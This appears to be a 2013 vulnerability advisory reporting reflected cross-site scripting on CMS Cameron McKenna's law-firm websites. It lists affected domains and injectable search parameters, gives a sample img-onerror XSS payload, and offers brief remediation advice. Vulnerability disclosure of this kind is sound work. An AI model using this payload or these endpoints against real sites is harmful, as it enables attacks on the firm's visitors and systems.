+=============================================================================================+
+               ©CMS Cameron McKenna 2013   Allow Execute Evil Remote Code                    +
+=============================================================================================+


Author(s): Ivan Sanchez & Raul Diaz(Dshellnoi Unix)

Product: CMS Cameron McKenna 
Web:http://www.cms-cmck.com
Versions: CMS 2013
Date: 25/04/2013
Vendor Notified: 24/04 - 25/04

Extract:

http://www.cms-cmck.com

We are a leading European provider of legal and tax services, 
with 14 offices in the UK, Central Eastern Europe and beyond. We are the UK-headquartered member firm of CMS.

Our lawyers provide advice across all types of commercial law;
 banking and finance, competition, corporate and M&A, 
dispute resolution, employment & pensions, environment, 
immigration, intellectual property, private equity, public procurement, real estate and tax.

With our focus on client service,
 we were one of the first law firms to embrace the need to also structure 
our business along industry sector group lines. We have eight industry sector groups;
 consumer products, energy, hotels & leisure, infrastructure & project finance,
 insurance and funds, lifesciences, real estate & construction and technology, media & telecoms.


Sites affected  
--------------------

http://www.cms-cmck.com
http://www.cms-bfl.com/
http://cms-site/Berlin-Germany
http://www.cms-db.com/Antwerp-Belgium
http://www.cms-dsb.com/Amsterdam-Netherlands
http://www.cms-bfl.com/Casablanca-en
http://cms-site.com/Frankfurt-Germany-LS
http://www.cms-rpa.com//en-Lisbon-Portugal
http://www.cms-rrh.com/Ljubljana-Slovenia
http://cms-site.ru/Moscow-Russia
http://www.cms-asl.com/Madrid-Spain
http://www.cms-aacs.com/Milan-Italy
http://www.cms-veh.com
http://cms-site.cn/Shanghai-China-en

more....


XSS & REMOTE INJECTION CODE:
---------------------------

"><img src="image.gif" onerror="alert(1)">


Parameter Affected:
-------------------

http://cms-site/search/pages/default.aspx?k=ijij&s=[INJECT HERE]

http://cms-site.com/AreasOfExpertise/SearchResults/Pages/default.aspx?H1QRY=KP%3[[INJECT HERE]]&LGFO=true

http://cms-site.com/OurPeople/OurPeopleResults/Pages/default.aspx?H1QRY=FN%3D[[INJECT HERE]]

http://cms-site.com/Services/ServiceDetail/Pages/Default.aspx?FirmEventGuid=[[INJECT HERE]]

http://cms-site.com/AreasOfExpertise/SearchResults/Pages/default.aspx?H1QRY=KP%3d[[INJECT HERE]]&LGFO=true

so on...

Remediation:
------------

You shoud validate the input , sanitize each parameter.


Thank you so much!



           |NULL CODE SERVICES [ www.evilcode.com.ar ] Hunting Security Bugs!|